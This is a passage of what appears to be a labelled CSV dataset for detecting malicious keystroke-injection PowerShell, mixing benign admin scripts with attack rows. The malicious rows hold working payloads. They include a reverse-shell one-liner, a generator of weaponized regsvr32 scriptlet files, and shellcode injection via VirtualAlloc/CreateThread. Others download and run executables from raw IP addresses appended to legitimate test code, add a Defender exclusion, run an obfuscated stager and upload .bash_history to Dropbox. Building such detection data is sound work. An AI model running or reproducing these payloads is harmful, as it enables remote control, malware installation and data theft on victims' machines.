Out-SCT -PayloadURL http://192.168.230.1/Invoke-PowerShellUdp.ps1 -Arguments ""Invoke-PowerShellUdp -Reverse -IPAddress 192.168.230.154 -Port 53"" enter enter Use above when you want to use the default payload, which is a powershell download and execute one-liner. A file enter named ""UpdateCheck.xml"" would be generated in the current directory. enter PS > Out-SCT -PayloadURL http://192.168.230.1/Powerpreter.psm1 -Arguments ""Get-Information;Get-Wlan-Keys"" enter enter Use above command for multiple payloads. enter PS > Out-SCT -Payload ""`$sm=(New-Object Net.Sockets.TCPClient('192.168.230.154',443)).GetStream();[byte[]]`$bt=0..65535|%{0};while((`$i=`$sm.Read(`$bt, 0, `$bt.Length)) -ne 0){;`$d=(New-Object Text.ASCIIEncoding).GetString(`$bt,0, `$i);`$sb=(iex `$d 2>&1 | Out-String );`$sb2=`$sb + 'PS ' + (pwd).Path + '> ';`$sb=([text.encoding]::ASCII).GetBytes(`$sb2);`$sm.Write(`$sb,0,`$sb.Length);`$sm.Flush()}"" enter enter Use above for a Reverse PowerShell Session. Note that there is no need of download-execute in this case. enter .LINK enter http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html enter https://github.com/samratashok/nishang enter #> enter enter [CmdletBinding()] Param( enter enter [Parameter(Position = 0, Mandatory = $False)] enter [String] enter $Payload, enter enter [Parameter(Position = 1, Mandatory = $False)] enter [String] enter $PayloadURL, enter enter [Parameter(Position = 2, Mandatory = $False)] enter [String] enter $Arguments, enter enter [Parameter(Position = 3, Mandatory = $False)] enter [String] enter $OutputPath = ""$pwd\UpdateCheck.xml"" enter ) enter enter #Check if the payload has been provided by the user enter if(!$Payload) enter { enter $Payload = ""powershell IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"" enter } enter #Below code comes from https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302 enter $cmd = @"" enter <?XML version=""1.0""?> enter <scriptlet> enter <registration enter progid=""WinCheck"" enter classid=""{F0001111-0000-0000-0000-0000FEEDACDC}"" > enter enter <script language=""JScript""> enter <![CDATA[ enter ps = 'powershell.exe -w h -nologo -noprofile -ep bypass '; enter c = ""$Payload""; enter r = new ActiveXObject(""WScript.Shell"").Run(ps + c,0,true); enter ]]> enter </script> enter </registration> enter </scriptlet> enter ""@ enter enter Out-File -InputObject $cmd -FilePath $OutputPath -Encoding default enter Write-Output ""Weaponized SCT file written to $OutputPath"" enter enter Write-Output ""Host $OutputPath on a web server."" enter Write-Output ""Run the following command on the target:"" enter Write-Output ""regsvr32.exe /u /n /s /i:[WebServerURL]/UpdateCheck.xml scrobj.dll"" enter } enter enter",1,1,6.2582236e-05,0.9999374
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_qioqm3qh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4799825e-05
"win+r enter powershell enter enter enter  enter $containerName = ""pstestwlvm1bca8"" enter $resourceGroupName = ""pstestwlRG1bca8"" enter $vaultName = ""pstestwlRSV1bca8"" enter $resourceId = ""/subscriptions/da364f0f-307b-41c9-9d47-b7413ec45535/resourceGroups/pstestwlRG1bca8/providers/Microsoft.Compute/virtualMachines/pstestwlvm1bca8"" enter $policyName = ""HourlyLogBackup"" enter enter function Enable-Protection( enter $vault, enter $container) enter { enter $policy = Get-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Name $policyName enter enter $protectableItems = Get-AzRecoveryServicesBackupProtectableItem ` enter -VaultId $vault.ID ` enter -Container $container ` enter -WorkloadType ""MSSQL""; enter enter Enable-AzRecoveryServicesBackupProtection ` enter -VaultId $vault.ID ` enter -Policy $policy ` enter -ProtectableItem $protectableItems[1] enter enter $item = Get-AzRecoveryServicesBackupItem ` enter -VaultId $vault.ID ` enter -Container $container ` enter -WorkloadType MSSQL; enter enter return $item enter } enter function Cleanup-Vault( enter $vault, enter $item, enter $container) enter { enter Disable-AzureRmRecoveryServicesBackupProtection ` enter -VaultId $vault.ID ` enter -Item $item ` enter -RemoveRecoveryPoints ` enter -Force; enter Unregister-AzRecoveryServicesBackupContainer ` enter -VaultId $vault.ID ` enter -Container $container enter } enter enter",0,0,0.9999424,5.7534664e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_gh7624t5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4326185e-05
"win+r powershell Start-Process powershell -Verb runAs unknown_key_action ctrl-shift enter unknown_key_action shift tab enter Add-MpPreference -ExclusionPath C:\Windows\system32 enter New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/clear_last_used_items.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList ""-File script.ps1""}, exit enter",1,1,7.292238e-05,0.99992704
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_p0215uqe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter",0,0,0.999966,3.3960794e-05
win+r powershell enter function Invoke-Utility { <# .SYNOPSIS Miscellaneous Utilities. .PARAMETER enter Help Shows detailed help for each function. .PARAMETER List enter enter,1,1,6.60267e-05,0.99993396
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_m8ku14iz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4529974e-05
"win+r enter powershell enter enter enter function New-Role { enter enter [PoshBot.BotCommand( enter Aliases = ('nr', 'newrole'), enter Permissions = 'manage-roles' enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot, enter enter [parameter(Mandatory, Position = 0)] enter [string[]]$Name, enter enter [parameter(Position = 1)] enter [string]$Description enter ) enter enter $notCreated = @() enter foreach ($roleName in $Name) { enter if (-not ($Bot.RoleManager.GetRole($roleName))) { enter enter $role = [Role]::New($roleName, $Bot.Logger) enter if ($PSBoundParameters.ContainsKey('Description')) { enter $role.Description = $Description enter } enter $Bot.RoleManager.AddRole($role) enter if (-not ($Bot.RoleManager.GetRole($roleName))) { enter $notCreated += $roleName enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Role [$roleName] already exists"" -ThumbnailUrl $thumb.warning enter } enter } enter enter if ($notCreated.Count -eq 0) { enter if ($Name.Count -gt 1) { enter $successMessage = 'Roles [{0}] created.' -f ($Name -join ', ') enter } else { enter $successMessage = ""Role [$Name] created"" enter } enter New-PoshBotCardResponse -Type Normal -Text $successMessage -ThumbnailUrl $thumb.success enter } else { enter if ($notCreated.Count -gt 1) { enter $errMsg = ""Roles [{0}] could not be created. Check logs for more information."" -f ($notCreated -join ', ') enter } else { enter $errMsg = ""Role [$notCreated] could not be created. Check logs for more information."" enter } enter New-PoshBotCardResponse -Type Warning -Text $errMsg -ThumbnailUrl $thumb.warning enter } enter } enter enter",0,0,0.9998945,0.0001055061
"win+r enter powershell enter enter enter  enter $location = 'southeastasia' enter function Test-UpdateTransparentDataEncryption enter { enter enter $rg = Create-ResourceGroupForTest enter $server = Create-ServerForTest $rg $location enter $databaseName = Get-DatabaseName enter $db = New-AzSqlDatabase -ResourceGroupName $rg.ResourceGroupName -ServerName $server.ServerName -DatabaseName $databaseName enter Assert-AreEqual $db.DatabaseName $databaseName enter try enter { enter enter $tde1 = Set-AzSqlDatabaseTransparentDataEncryption -ResourceGroupName $db.ResourceGroupName -ServerName $db.ServerName ` enter -DatabaseName $db.DatabaseName -State Enabled enter enter Assert-AreEqual $tde1.State Enabled enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter function Test-GetTransparentDataEncryption enter { enter enter $rg = Create-ResourceGroupForTest enter $server = Create-ServerForTest $rg $location enter $databaseName = Get-DatabaseName enter $db = New-AzSqlDatabase -ResourceGroupName $rg.ResourceGroupName -ServerName $server.ServerName -DatabaseName $databaseName enter Assert-AreEqual $db.DatabaseName $databaseName enter enter try enter { enter $tde1 = Get-AzSqlDatabaseTransparentDataEncryption -ResourceGroupName $server.ResourceGroupname -ServerName $server.ServerName ` enter -DatabaseName $db.DatabaseName enter Assert-AreEqual $tde1.State Enabled enter enter $tde2 = $tde1 | Get-AzSqlDatabaseTransparentDataEncryption enter Assert-AreEqual $tde2.State Enabled enter $tde3 = Set-AzSqlDatabaseTransparentDataEncryption -ResourceGroupName $db.ResourceGroupName -ServerName $db.ServerName ` enter -DatabaseName $db.DatabaseName -State Disabled enter Assert-AreEqual $tde3.State Disabled enter enter Start-Sleep -s 1 enter enter $tdeActivity = Get-AzSqlDatabaseTransparentDataEncryptionActivity -ResourceGroupName $server.ResourceGroupname ` enter -ServerName $server.ServerName -DatabaseName $db.DatabaseName enter Assert-AreEqual $tdeActivity.Status Decrypting enter enter $tde4 = Get-AzSqlDatabaseTransparentDataEncryption -ResourceGroupName $server.ResourceGroupname ` enter -ServerName $server.ServerName -DatabaseName $db.DatabaseName enter Assert-AreEqual $tde4.State Disabled enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter function Test-GetTransparentDataEncryptionProtector enter { enter enter $rg = Create-ResourceGroupForTest enter $server = Create-ServerForTest $rg $location enter enter try enter { enter enter $encProtector1 = Get-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName enter Assert-AreEqual ServiceManaged $encProtector1.Type enter Assert-AreEqual ServiceManaged $encProtector1.ServerKeyVaultKeyName enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter function Test-SetTransparentDataEncryptionProtector enter { enter enter $params = Get-SqlServerKeyVaultKeyTestEnvironmentParameters enter $rg = Create-ServerKeyVaultKeyTestEnvironment $params enter enter try enter { enter enter $encProtector1 = Get-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName $params.rgName -ServerName $params.serverName enter Assert-AreEqual ServiceManaged $encProtector1.Type enter Assert-AreEqual ServiceManaged $encProtector1.ServerKeyVaultKeyName enter $keyResult = Add-AzSqlServerKeyVaultKey -ServerName $params.serverName -ResourceGroupName $params.rgName -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult.Uri enter $job = Set-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName $params.rgName -ServerName $params.serverName ` enter -Type AzureKeyVault -KeyId $params.keyId -Force -AsJob enter $job | Wait-Job enter $encProtector2 = $job.Output enter enter Assert-AreEqual AzureKeyVault $encProtector2.Type enter Assert-AreEqual $params.serverKeyName $encProtector2.ServerKeyVaultKeyName enter $encProtector3 = Set-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName $params.rgName -ServerName $params.serverName -Type ServiceManaged enter Assert-AreEqual ServiceManaged $encProtector3.Type enter Assert-AreEqual ServiceManaged $encProtector3.ServerKeyVaultKeyName enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.761142e-05,0.9999424
"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter Describe 'Get-Group' { enter It 'should get all groups' { enter $groups = Get-Group enter try enter { enter $groups | Should -Not -BeNullOrEmpty enter $groups.Length | Should -BeGreaterThan 0 enter enter } enter finally enter { enter $groups | ForEach-Object { $_.Dispose() } enter } enter } enter enter It 'should get one group' { enter Get-Group | enter ForEach-Object { enter $expectedGroup = $_ enter try enter { enter $group = Get-Group -Name $expectedGroup.Name enter try enter { enter $group | Should -HaveCount 1 enter $group.Sid | Should -Be $expectedGroup.Sid enter } enter finally enter { enter if( $group ) enter { enter $group.Dispose() enter } enter } enter } enter finally enter { enter $expectedGroup.Dispose() enter } enter } enter } enter enter It 'should error if group not found' { enter $Error.Clear() enter $group = Get-Group -Name 'fjksdjfkldj' -ErrorAction SilentlyContinue enter $group | Should -BeNullOrEmpty enter $Error.Count | Should -Be 1 enter $Error[0].Exception.Message | Should -BeLike '*not found*' enter } enter enter It 'should get groups if WhatIfPreference is true' { enter $WhatIfPreference = $true enter $groups = Get-CGroup enter $groups | Should -Not -BeNullOrEmpty enter $groups | enter Select-Object -First 1 | enter ForEach-Object { Get-CGroup -Name $_.Name } | enter Should -Not -BeNullOrEmpty enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x95,0x68,0x02,0x00,0x15,0xb3,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.138475e-05,0.9999486
"win+r powershell enter $WC=NEW-ObjeCt SYStEm.NEt.WEBCLIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$WC.HeadeRS.ADd('User-Agent',$u);$wc.PROxY = [SYSt enter Em.NET.WeBReQueSt]::DefAultWeBPROxy;$Wc.ProXY.CrEDentIALS = [SYsteM.NEt.CRedenTI enter aLCACHe]::DEFaUltNeTWOrKCrEDENtIaLS;$K='ZblE7)| enter enter",1,1,5.591131e-05,0.9999441
"win+r powershell enter Describe ""Remove-PSFConfig Unit Tests"" -Tags ""CI"", ""Pipeline"", ""Unit"" { Before enter All { Get-PSFConfig -Module Remove-PSFConfig -Force | ForEach-Object { $null = enter [PSFramework.Configuration.ConfigurationHost]::Configurations.Remove($_.FullNam enter e) } } AfterAll { Get-PSFConfig -Module Remove-PSFConfig -Force | ForEach-Ob enter ject { $null = [PSFramework.Configuration.ConfigurationHost]::Configurations.Re enter move($_.FullName) } } enter enter",0,1,0.0035499427,0.99645007
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xe1,0xcb,0xfb,0x9d,0xdb,0xd0,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x55,0x83,0xe8,0xfc,0x31,0x50,0x10,0x03,0x50,0x10,0x03,0x3e,0x07,0x75,0x41,0xc1,0xf8,0x86,0x25,0x4b,0x1d,0xb7,0x65,0x2f,0x55,0xe8,0x55,0x3b,0x3b,0x05,0x1e,0x69,0xa8,0x9e,0x52,0xa6,0xdf,0x17,0xd8,0x90,0xee,0xa8,0x70,0xe0,0x71,0x2b,0x8a,0x35,0x52,0x12,0x45,0x48,0x93,0x53,0xbb,0xa1,0xc1,0x0c,0xb0,0x14,0xf6,0x39,0x8c,0xa4,0x7d,0x71,0x01,0xad,0x62,0xc2,0x20,0x9c,0x34,0x58,0x7b,0x3e,0xb6,0x8d,0xf0,0x77,0xa0,0xd2,0x3c,0xc1,0x5b,0x20,0xcb,0xd0,0x8d,0x78,0x34,0x7e,0xf0,0xb4,0xc7,0x7e,0x34,0x72,0x37,0xf5,0x4c,0x80,0xca,0x0e,0x8b,0xfa,0x10,0x9a,0x08,0x5c,0xd3,0x3c,0xf5,0x5c,0x30,0xda,0x7e,0x52,0xfd,0xa8,0xd9,0x77,0x00,0x7c,0x52,0x83,0x89,0x83,0xb5,0x05,0xc9,0xa7,0x11,0x4d,0x8a,0xc6,0x00,0x2b,0x7d,0xf6,0x53,0x94,0x22,0x52,0x1f,0x39,0x37,0xef,0x42,0x56,0xa9,0x95,0x08,0xa6,0x5d,0x21,0x98,0xc8,0xf4,0x99,0x32,0x59,0x71,0x04,0xc4,0x9e,0xa8,0x79,0x11,0x33,0x01,0x29,0xf6,0xe7,0xcd,0xf7,0xae,0x7e,0xaa,0xf7,0x9a,0xd2,0xe7,0x6d,0x26,0x86,0x54,0x1a,0x6d,0x3d,0x5a,0xda,0x85,0x45,0x5a,0xda,0x55,0x99,0x11,0x99,0x6c,0xd6,0xc7,0x1d,0xdf,0x70,0x50,0x97,0x40,0x46,0xa1,0x72,0xf7,0x81,0x0e,0x15,0x08,0x0c,0xd0,0x61,0x5b,0x43,0x43,0x3d,0x0f,0x35,0x0b,0x2a,0xfa,0x97,0xf0,0x53,0xd0,0x7e,0x6c,0xa6,0x84,0x2d,0x23,0xe5,0x69,0x84,0xab,0x24,0x88,0x30,0x50,0xc8,0x41,0xc5,0x66,0x43,0x60,0x89,0x13,0x41,0x1c,0xe5,0x6e,0x3b,0x8b,0xfa,0x45,0x56,0x74,0x6d,0x65,0xb7,0x74,0x6d,0x0d,0xb7,0x74,0x2d,0xcd,0xe4,0x1c,0xf5,0x69,0x59,0x38,0xfa,0xa4,0xcd,0x91,0x56,0xcf,0x15,0x42,0x31,0xcf,0xf9,0x6d,0xc1,0x9c,0xaf,0x05,0xd3,0xb4,0xd9,0x34,0x2c,0x6d,0x5c,0x78,0xa7,0x40,0xd4,0x7e,0x49,0x99,0x6e,0x40,0x3c,0xf8,0x29,0x82,0xe0,0xea,0x43,0xfb,0xe0,0x15,0x20,0x61,0x6d,0x9f,0xae,0x0a,0xf4,0x2c,0x48,0xbe,0x82,0xb7,0xc7,0x6e,0x18,0x52,0x6a,0x19,0xbb,0xf5,0xf8,0x86,0x6d,0x66,0x92,0x25,0x72;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.205393e-05,0.9999479
"# Copyright (C) 2023 TroubleChute (Wesley Pyburn) # Licensed under the GNU Gener enter al Public License v3.0 (the ""License""); # you may not use this file except in co enter mpliance with the License. # You may obtain a copy of the License at # # https:/ enter /www.gnu.org/licenses/gpl-3.0.en.html # # This program is free software: you can enter redistribute it and/or modify # it under the terms of the GNU General Public Li enter cense as published by # the Free Software Foundation, either version 3 of the Li enter cense, or # (at your option) any later version. # enter",1,1,0.000100477926,0.9998995
"win+r enter powershell enter enter enter function New-TestDataSource() { enter $dataSource = New-Object -TypeName PSObject enter $dataSourceName = 'SimpleDataSource' + [System.DateTime]::Now.Ticks enter enter $dataSource | Add-Member -MemberType NoteProperty -Name Name -Value $dataSourceName enter $dataSource | Add-Member -MemberType NoteProperty -Name ConnectionString -Value 'Data Source=localhost;' enter $dataSource | Add-Member -MemberType NoteProperty -Name Extension -Value 'SQL' enter $dataSource | Add-Member -MemberType NoteProperty -Name CredentialRetrievalType -Value 'None' enter $dataSource | Add-Member -MemberType NoteProperty -Name Path -Value ""/$dataSourceName"" enter enter return $dataSource enter } enter enter function Test-AccessToEncryptedContent() { enter param( enter [Parameter(Mandatory=$True)] enter [PSObject]$ExpectedDataSource enter ) enter enter $dataSource = Get-RsDataSource -DataSourcePath $ExpectedDataSource.Path enter $dataSource.Extension | Should be $ExpectedDataSource.Extension enter $dataSource.ConnectString | Should be $ExpectedDataSource.ConnectionString enter $dataSource.CredentialRetrieval | Should be $ExpectedDataSource.CredentialRetrievalType enter } enter enter",0,0,0.9999144,8.5556894e-05
win+r enter powershell enter enter enter win r powershell -nop -ep bypass -w h -c irm https://raw.githubusercontent.com/beigeworm/badusb-files-for-flipperzero/main/computer-acid/main.ps1 | iex enter enter enter,1,1,0.00116543,0.99883455
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_878c2usg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999666,3.342448e-05
"win+r powershell enter function Get-PSFRunspace enter { enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Get-PSFRunspace')] enter Param ( enter [string] enter $Name = ""*"" enter ) enter [PSFramework.Runspace.RunspaceHost]::Runspaces.Values | Where-Object Name -Like $Name enter } enter",0,0,0.99986064,0.0001393945
"win+r powershell enter unknown_key_action DEFINE #API_TOKEN [DROPBOX_ACCESS_TOKEN] enter delay_medium enter unknown_key_action ALT-F2 enter delay_medium enter xfce4-terminal enter delay_medium enter enter enter delay_medium enter curl -X POST https://content.dropboxapi.com/2/files/upload enter space enter --header ""Authorization: Bearer enter space enter #API_TOKEN enter "" --header ""Dropbox-API-Arg: {\""path\"": \""/home/$USER/.bash_history\""}"" enter space enter --header ""Content-Type: application/octet-stream"" --data-binary @.bash_history enter delay_medium enter enter enter delay_medium enter exit enter delay_medium enter enter enter",1,1,5.5264754e-05,0.9999447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_yc4cm6fj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4244415e-05
"win+r powershell enter function Register-PSResourceRepository { [OutputType([void])] [Cmdletbinding(S enter upportsShouldProcess = $true, DefaultParameterSetName = 'NameParameterSet')] P enter aram ( [Parameter(Mandatory = $true, Position = 0, ParameterSetName = 'NameP enter arameterSet')] [ValidateNotNullOrEmpty()] [string] $Name, enter enter",1,1,0.0018209005,0.9981791
"win+r enter powershell enter enter enter function Get-PSFUserChoice enter { enter enter [OutputType([System.Int32])] enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory = $true)] enter [object[]] enter $Options, enter enter [string] enter $Caption, enter enter [string] enter $Message, enter enter [int] enter $DefaultChoice = 0 enter ) enter enter begin enter { enter Write-PSFMessage -Level InternalComment -Message ""Bound parameters: $($PSBoundParameters.Keys -join "", "")"" -Tag 'debug', 'start', 'param' enter $choices = @() enter foreach ($option in $Options) enter { enter if ($option -is [hashtable]) enter { enter $label = $option.Keys -match '^l' | Select-Object -First 1 enter [string]$labelValue = $option[$label] enter $help = $option.Keys -match '^h' | Select-Object -First 1 enter [string]$helpValue = $option[$help] enter enter } enter else enter { enter $labelValue = ""$option"" enter $helpValue = ""$option"" enter } enter if ($labelValue -match ""&"") { $choices += New-Object System.Management.Automation.Host.ChoiceDescription -ArgumentList $labelValue, $helpValue } enter else { $choices += New-Object System.Management.Automation.Host.ChoiceDescription -ArgumentList ""&$($labelValue.Trim())"", $helpValue } enter } enter } enter process enter { enter if ($Options.Count -eq 1) { return 0 } enter enter $Host.UI.PromptForChoice($Caption, $Message, $choices, $DefaultChoice) enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.793073e-05,0.99994206
"win+r enter powershell enter enter enter print(""hello"") enter enter",1,1,0.0031785,0.9968215
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_ejpnlzqi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.36403e-05
